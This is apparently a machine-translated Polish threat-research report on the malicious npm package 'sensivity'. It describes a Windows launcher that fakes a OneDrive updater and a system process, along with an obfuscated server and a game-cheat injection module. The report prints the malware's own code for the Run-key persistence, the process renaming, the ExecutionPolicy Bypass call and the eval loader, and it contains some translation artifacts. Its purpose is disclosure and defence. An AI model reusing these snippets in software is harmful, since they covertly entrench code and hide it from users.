PairLoop: Ukryty panel zdalnego sterowania w pakiecie npm

PairLoop: jeden pakiet npm, siedemdziesiąt wersji i ukryty panel zdalnego sterowania systemem Windows

TL; DR

Pakiet npm wrażliwość opisuje siebie jako „Panel sterowania czułością”. W systemie Windows pełni funkcję narzędzia do zdalnego sterowania i nadzoru.

Jego punkt wejścia, launcher.js, zmienia nazwę własnego procesu na Runtime Broker, zapisuje wartość klucza automatycznego uruchamiania o nazwie OneDriveUpdate który ponownie uruchamia pakiet za pomocą ukrytego skryptu VBScript i uruchamia program PowerShell z -ExecutionPolicy Bypass, a następnie ocenia zaciemniony ładunek serwera o rozmiarze 171 KB wraz z natywnym modułem o rozmiarze 6.87 MB, sens.node.

Obsługuje panel sterowania parowaniem telefonów na porcie TCP 3000 i odczytuje adres URL z paska adresu aktywnej przeglądarki za pomocą Windows UIAutomation, obserwując jednocześnie jeden zakodowany na stałe film w serwisie YouTube.

Dwie części, które wcześniej wydawały się czarnymi skrzynkami, zostały teraz rozwiązane. Zaciemniony serwer, server.obf.js, wykorzystuje schemat tablicy ciągów obfuscator.io RC4; ponowna implementacja jego dekodera w trybie offline (bez wykonywania kodu JavaScript) przywraca pojedynczy zewnętrzny punkt końcowy — https://izopi.com/check.php — wraz z osadzonym kluczem publicznym RSA służącym do weryfikacji podpisanych odpowiedzi na licencje.

Moduł natywny, sens.node, nie jest spakowany: jego tabela importów i osadzone ciągi znaków identyfikują go jako nakładkę do gry DirectX 11 / Dear ImGui udostępniającą funkcje aimbota, ESP (wall-hack) i triggerbota, sterowaną przez wstrzykiwanie zdalnego procesu i odczyt/zapis pamięci.

Ciągi znaków w nim zawarte odwołują się do encji pojazdów i lokalizacji na mapie, zgodnie z GTA V / FiveM. Pakiet npm to opakowanie dostarczające i utrwalające ten natywny moduł.

Sygnałem decydującym jest działanie, a nie technika: jeden anonimowy wydawca wypuścił około siedemdziesięciu wersji jednego pakietu — 2.5.0 przez 2.5.69 — w ciągu kilku dni, każdy niosąc tę ​​samą wyrzutnię.

Brak instalacji hooksŁadunek zostanie uruchomiony dopiero po uruchomieniu pakietu.

Atak: Jak to działa

Sensivity wysyła dziesięć plików. Plik package.json jest oszczędny: brak pola repozytorium, brak licencji, aliasy main i dwa bin (sensivity, sens), wszystkie wskazujące na launcher.js, oraz skrypt startowy node launcher.js. Brak postinstall ani preinstall. Nic nie uruchamia się podczas instalacji npm. Opisane poniżej zachowanie jest uruchamiane, gdy użytkownik uruchamia pakiet — za pomocą shim bin, skryptu startowego lub require.

Archiwum tarball zawiera program uruchamiający, zaciemniony serwer, moduł natywny, skrypt języka Visual Basic i katalog public/web dla panelu sterowania. Plik launcher.js to czytelny koordynator; logika, która ma znaczenie w czasie wykonywania, znajduje się w dwóch ładowanych przez niego blobach — zaciemnionym serwerze i skompilowanym module natywnym, które rozwiązano poniżej.

 Maskowanie procesów i fałszywy aktualizator usługi OneDrive

Na wczesnym etapie wykonania launcher.js ustawia swoją nazwę procesu dwukrotnie:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker to legalny proces systemu Windows (RuntimeBroker.exe), który pośredniczy w przyznawaniu uprawnień aplikacji. Zmiana nazwy procesu Node na odpowiadającą mu nazwę sprawia, że ​​szybkie spojrzenie w Menedżerze zadań nie wykryje niczego nietypowego.

Trwałość jest pisana za pomocą programu PowerShell, a nie bezpośredniego interfejsu API rejestru:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Wartość autostartu nosi nazwę OneDriveUpdate i nie wskazuje bezpośrednio na pakiet. Wskazuje na wscript.exe, który uruchamia dołączony skrypt OneDrive.Standalone.Updater.vbs. Ten skrypt ponownie uruchamia plik node launcher.js w ukrytym oknie. Zarówno nazwa klucza Run, jak i nazwa pliku VBScript zapożyczają branding Microsoft, więc wpis autostartu jest wyświetlany jako rutynowe zadanie OneDrive.

PowerShell z pominięciem zasad wykonywania

Program uruchamiający wielokrotnie wysyła żądanie do programu PowerShell. Odbiornik, który skanery oznaczają jako krytyczny, to uruchomienie wygenerowanego pliku .ps1 z wyłączoną polityką wykonywania:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Funkcja ExecutionPolicy Bypass eliminuje lokalne sprawdzanie podpisu skryptu dla tego wywołania. Wygenerowane skrypty obsługują monitorowanie przeglądarki i wykrywanie okien opisane w następnej sekcji.

Zaciemniony serwer i moduł natywny

Po skonfigurowaniu launcher.js ładuje się i wykonuje swój rzeczywisty ładunek:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Plik server.obf.js to 171 KB obfuskacji _0x-array — wzorca JavaScript, w którym każdy ciąg znaków i identyfikator jest zastępowany indeksem w przetasowanej tablicy, a następnie dereferencjonowany w czasie wykonywania. Schemat ten to wariant RC4 generowany przez obfuscator.io: pojedyncza funkcja dekodująca dekoduje wpis w tablicy za pomocą algorytmu base64, a następnie deszyfruje go za pomocą algorytmu RC4 z kluczem dla każdego wywołania. Ponowna implementacja tego dekodera w osobnym skrypcie — uruchamiając tylko reimplementację na wyodrębnionej tablicy ciągów znaków składającej się z 821 wpisów, a nigdy na własnym kodzie JavaScript pakietu — pozwala na jego czyste rozwinięcie. To, co się ukazuje, jest skromne, ale…cisive: jeden zewnętrzny adres URL, https://izopi.com/check.php`, przypisany do stałej LICENSE_URL; osadzony klucz RSA PUBLIC_KEY_PEM`; lokalny panel przekierowuje /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off i /trigger/status; oraz ciągi znaków child_process, crypto i [Sensivity] sens.node loaded — ten ostatni to dokładny wiersz logu, który program uruchamiający przepisuje do załadowanego modułu programu. Punktem końcowym jest sprawdzenie licencji: klient wysyła identyfikator (zaciemniony serwer formatuje ciąg znaków Discord ID: %s), a klucz RSA weryfikuje podpisaną odpowiedź serwera.

sens.node to skompilowany natywny dodatek o rozmiarze 6.87 MB, który nie jest spakowany — entropia sekcji wynosi 5.6–6.6, a tabele importu i eksportu PE są nienaruszone, więc jego możliwości można odczytać bezpośrednio. Eksportuje napi_register_module_v1, standard Punkt wejścia węzła N-API, więc serwer eval'd ładuje go za pomocą prostego polecenia require. Jego tabela importów to tell. Z KERNEL32 pobiera OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules i Process32First/NextW — kanoniczny zestaw do lokalizowania innego procesu, alokowania w nim pamięci oraz odczytywania lub zapisywania tej pamięci. Z USER32 pobiera GetAsyncKeyState, GetKeyState, mouse_event i SetCursorPos; łączy d3d11.dll, D3DCOMPILER_43 i dwmapi w celu utworzenia nakładki ekranowej oraz pełny zestaw WINHTTP do wywołań sieciowych. Wbudowane ciągi znaków jednoznacznie określają zestaw funkcji: Włącz Aimbota, Pole widzenia Aimbota, ESP Box, ESP Skeleton, Triggerbot, ESP Builder, ESP Pojazdu, Wykryto Electron Anticheat oraz baner Dear ImGui Dear ImGui 1.91.3 WIP. Ciągi znaków lokalizacji i encji, takie jak Klinika Medyczna Grapeseed i słownik ESP pojazdu, są zgodne z GTA V / FiveM.

Podział jest celowy: czytelny plik launcher.js zawiera tylko te części, które skaner łatwo odczytuje — trwałość, maskaradę, samo wywołanie eval — podczas gdy zaciemnienie ukrywa jednego zewnętrznego hosta, z którym kontaktuje się środowisko wykonawcze, a plik binarny przechowuje nakładkę gry i logikę wstrzykiwania procesów. Program uruchamiający to cienka, audytowalna powłoka; zaciemniony serwer ukrywa tożsamość sieciową; moduł natywny to ładunek. Importy i ciągi znaków pliku binarnego opisujemy jako odczytane; nie wnioskujemy na ich podstawie o przeznaczeniu operatora.

 Panel sterowania parowaniem telefonów na porcie 3000

Program uruchamiający zarządza lokalnym serwerem WWW na porcie TCP 3000 i traktuje go jako singleton. Zapytanie o istniejącego nasłuchiwacza i wyczyszczenie go przed powiązaniem:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panel jest dostępny pod adresem http://localhost:3000, z zakodowanym na stałe zapasowym adresem URL sieci LAN: http://192.168.1.16:3000. Katalog public/ i zachowanie panelu są zgodne z procesem parowania kodów QR: telefon skanuje kod i łączy się z hostem jako urządzenie zdalne. W programie uruchamiającym nie pojawia się żadna zewnętrzna domena poleceń i kontroli w postaci zwykłego tekstu — ale, jak pokazuje powyższa deobfuskcja, istnieje ona na zaciemnionym serwerze: punkt końcowy licencji izopi.com. Sam panel jest lokalny i ma zasięg sieci LAN; jedynym hostem wychodzącym jest ten, który sprawdza licencję.

Odłączony model nadzorcy/robota utrzymuje proces przy życiu. Program uruchamiający uruchamia się ponownie z flagami środowiskowymi SENSIVITY_SUPERVISOR i SENSIVITY_WORKER, a każdy proces potomny działa w ukryciu, więc zamknięcie jednego procesu pozostawia watchdoga, który może go ponownie uruchomić.

Monitorowanie przeglądarek i sygnał YouTube

Najbardziej specyficznym zachowaniem jest monitorowanie przeglądarki. launcher.js tworzy program PowerShell, który steruje funkcją Windows UIAutomation w celu odczytania paska adresu uruchomionej przeglądarki:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern zwraca zawartość tekstową elementu interfejsu użytkownika. Zastosowany do kontrolki edycji paska adresu przeglądarki, zwraca adres URL, który aktualnie przegląda ofiara — bez rozszerzenia przeglądarki, bez ingerencji w profil na dysku i bez haka API. Wygenerowany skrypt iteruje listę $browserNames i wyodrębnia adres URL lub tytuł okna przeglądarki, która jest na pierwszym planie.

Ten adres URL jest testowany pod kątem pojedynczego, zakodowanego na stałe celu:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Program uruchamiający w trzysekundowej pętli sprawdza okno przeglądarki z YouTube, a wygenerowany program PowerShell zawiera parę poleceń Get-YouTubeBrowser / Test-TargetYouTubeUrl, która pasuje do tego identyfikatora filmu. Obserwowany efekt jest dwojaki: z ekranu ofiary odczytywany jest aktywny adres URL przeglądania, a host wykrywa interakcję z konkretnym filmem z YouTube. Opisujemy mechanizm i cel ataku; nie wyciągamy z nich wniosków na temat motywu.

Odczyt z paska adresu to to, co skaner oznacza jako sensitive_data_enumeration — źródło Process::env i UIAutomation zasilające środowisko uruchomieniowe obsługujące sieć. W izolacji wygląda on nieszkodliwie i staje się inwigilowany dopiero po prześledzeniu cyklu życia danych od źródła UIAutomation do zaciemnionego serwera.

Oś czasu i ewolucja wersji

Sensivity nie jest jednorazowym przesłaniem. Konto wydawcy ma około siedemdziesięciu opublikowanych wersji tego pojedynczego pakietu, a nowe pojawiały się w trakcie okresu testowego. Program uruchamiający rozwija się funkcja po funkcji w całej linii 2.5.x, a jego trwałość i ładowanie danych pozostają niezmienne.

Data (UTC) Obserwowane wersje Stan programu uruchamiającego
2026-06-02 2.5.8 - 2.5.46 (25) Podstawowy panel uruchamiania QR; trwałość klawisza Run; ocena zaciemnionego serwera.
2026-06-03 2.5.53 - 2.5.61 (6) Ten sam odcisk palca; brak śladu konsoli.
2026-06-04 2.5.67, 2.5.68 (2) Dodaje przypięty cel zaangażowania w YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Uzupełnianie luk, ponowna publikacja w całym zakresie; nadzór kierownika/pracownika.

Odczyt programu uruchamiającego w pobranych wersjach — 2.5.0, 2.5.36 i 2.5.69 — pokazuje cztery poziomy. Najwcześniejsze kompilacje zawierają podstawowy program uruchamiający z parowaniem kodów QR. Od wersji 2.5.33 pojawia się narzędzie zbierające pasek adresu UIAutomation. Od wersji 2.5.58 dodawana jest warstwa zarządzania przełożonym. Od wersji 2.5.64 zestaw uzupełnia oddzielona warstwa nadzorująca przełożonego/pracownika. Cztery elementy pozostają niezmienne: klucz OneDriveUpdate Run, dropper OneDrive.Standalone.Updater.vbs, sprawdzony plik server.obf.js oraz natywny moduł sens.node.

Fala z 5 czerwca 2026 roku jest godna uwagi, ponieważ ponownie opublikowała niskie numery wersji – od 2.5.0 do 2.5.15 – znajdujące się poniżej wersji potwierdzonych kilka dni wcześniej. Efektem jest ciągły wiersz 2.5.x w rejestrze, gdzie każda wersja ma ten sam program uruchamiający.

Wskaźniki kompromisu

Wszystkie poniższe wskaźniki zostały odczytane bezpośrednio z archiwum tarball. Odczytowy program uruchamiający zawiera tylko pętlę zwrotną i pojedynczy prywatny adres LAN; jedyna zewnętrzna nazwa hosta, izopi.com, została odzyskana poprzez odkodowanie pliku server.obf.js w trybie offline.

Typ Wskaźnik Komentarz
Pakiet npm:sensivity (≈70 wersji, 2.5.0-2.5.69) Wydawca pojedynczego pakietu; brak repozytorium; bez licencji.
filet launcher.js Czytelny orkiestrator; cel główny i bin.
filet server.obf.js (≈171 KB) obfuscator.io Ładunek tablicy ciągów RC4, załadowany przez eval(fs.readFileSync(...)).
filet sens.node (≈6.87 MB) Dodatek N-API węzła PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
filet OneDrive.Standalone.Updater.vbs Ukryty relauncher (node launcher.js).
Sieć https://izopi.com/check.php Punkt końcowy licencji/uwierzytelniania odzyskany z zaciemnionego serwera; osadzony klucz publiczny RSA weryfikuje odpowiedzi.
Zdolność OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Możliwość zdalnego wprowadzania procesów i odczytu/zapisu pamięci.
Zdolność Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Nakładka gry DirectX 11 / ImGui implementująca funkcje aimbota, ESP i triggerbota.
rejestr HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Wartość autostartu wskazująca na wscript.exe i program uruchamiający VBScript.
Przetwarzanie process.title = 'Runtime Broker' Podszywa się pod legalny proces Windows Runtime Broker.
Behawioralny powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Ominięcie zasad wykonywania używanych w przypadku generowanych skryptów programu PowerShell.
Behawioralny UIAutomation ValuePattern odczyt paska adresu przeglądarki Odczytuje adres URL okna przeglądarki na pierwszym planie.
Behawioralny Identyfikator docelowego wideo wJWta2lO0Lw; 3-sekundowa ankieta na YouTube Przypięty sygnał monitorujący zaangażowanie.
Sieć http://localhost:3000, awaryjna http://192.168.1.16:3000 Panel sterowania parowaniem kodów QR dostępny lokalnie i w sieci LAN.
Środowisko SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Oddzielne flagi koordynacji procesów nadzoru.

Atrybucja, wpływ i obrońcy

Pakiet jest publikowany przez pojedyncze konto npm, którego podany adres e-mail to niezweryfikowany adres Gmail. Konto ma bardzo negatywną reputację w rejestrze, utrzymuje i publikuje tylko ten jeden pakiet i nie ma powiązanego repozytorium źródłowego. Nie zweryfikowaliśmy własności adresu e-mail i przypisujemy kampanię do konta wydawcy, a nie do żadnej konkretnej osoby. Program uruchamiający nie posiada infrastruktury tekstowej, ale jedyny zewnętrzny host jest teraz znany: zaciemniony serwer kontaktuje się z izopi.com w celu sprawdzenia licencji, a natywny moduł – odczytywany z tabeli importów i ciągów znaków, a nie odwrotnie, instrukcja po instrukcji – jest nakładką na grę, która wstrzykuje dane do pamięci innego procesu i odczytuje je.

Obserwowany wpływ dotyczy użytkowników systemu Windows, którzy instalują i uruchamiają pakiet Sensivity, oczekując narzędzia Panelu sterowania. Na tych hostach pakiet ustanawia trwałość autostartu podszywając się pod zadanie OneDrive, zmienia nazwę, imitując proces systemowy, odczytuje adres URL przeglądanej przez użytkownika strony i tworzy panel parowania, który łączy maszynę ze zdalnym komputerem przez sieć lokalną. Funkcja nadzorująca/nadzorująca proces oznacza, że ​​pojedyncze zamknięcie procesu nie powoduje jego usunięcia; wpis w kluczu Run jest zachowywany po ponownym uruchomieniu. Systemy macOS i Linux nie są objęte programem uruchamiającym — ścieżki trwałości, PowerShell i UIAutomation są dostępne tylko w systemie Windows.

Fluktuacja siedemdziesięciu wersji to trend, który warto obserwować. Ponowne publikowanie jednego pakietu dziesiątki razy w ciągu kilku dni, w tym uzupełnianie numerów wersji poniżej tych już usuniętych, powoduje, że kopia pakietu pozostaje aktywna w rejestrze między kolejnymi usunięciami i utrudnia tworzenie list blokowanych wersji. Wpis na liście blokowanych dla pakietu sensivity@2.5.61 nie ma wpływu na pakiet sensivity@2.5.3 ponownie opublikowany następnego dnia.

Obrońcy mogą podjąć następujące działania:

  • Całkowicie zablokuj poufność nazwy pakietu w rejestrze proxy i na listach dozwolonych CI. Przypinanie poszczególnych wersji przegrywa z rytmem ponownej publikacji; nazwa jest wskaźnikiem trwałości.
  • Poszukaj wartości Run o nazwie OneDriveUpdate, której dane wywołują wscript.exe dla pliku .vbs w ścieżce dla każdego użytkownika. Oryginalny program do aktualizacji OneDrive nie jest rejestrowany w ten sposób.
  • Alert dotyczący procesu Node.js, którego process.title to Runtime Broker. Prawdziwym brokerem jest RuntimeBroker.exe, a nie środowisko wykonawcze Node.
  • Pobieranie pakietów w czasie instalacji przez npm z flagą, które zawierają skompilowany dodatek .node oraz polecenie eval(fs.readFileSync(…)) dla pliku .obf.js. To połączenie — nieprzejrzysty natywny plik binarny załadowany obok zaciemnionego tekstu — jest tutaj sygnałem strukturalnym, niezależnym od jakiegokolwiek wskaźnika IOC w ciągu znaków.
  • Każdego lokalnie powiązanego słuchacza na porcie 3000 utworzonego przez nieoczekiwany proces węzła należy traktować jako podejrzanego na zarządzanych punktach końcowych systemu Windows.
  • Blokuj lub wysyłaj powiadomienia o żądaniach wychodzących do izopi.com od programistów lub użytkowników końcowych. Jest to jedyny zewnętrzny punkt końcowy pakietu, dostępny pod adresem /check.php z zaciemnionego serwera.
  • W przypadku każdego dołączonego dodatku .node, przed udzieleniem mu zaufania, należy sprawdzić jego tabelę importów. Kombinacja OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread to wstrzykiwanie zdalnego procesu, niezależnie od tego, co deklaruje pakiet; tutaj występuje ona obok nakładki Direct3D i ciągów aimbot/ESP/triggerbot.

Do analizy statycznej pipelineKształt przekonania jest trwały w całym okresie zmiany wersji: profil instalacji poza siecią, przypisanie tytułu procesu do znanej nazwy procesu systemowego, zapis klucza Run za pomocą programu PowerShell oraz sprawdzenie pliku odczytanego z dysku. Żaden z tych elementów nie zależy od domeny, adresu IP ani numeru wersji, które można zmienić przy kolejnej ponownej publikacji.

 Referencje

[npm: wrażliwość] – strona rejestru dla wersji pakietu omawianej tutaj; podlega usunięciu.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni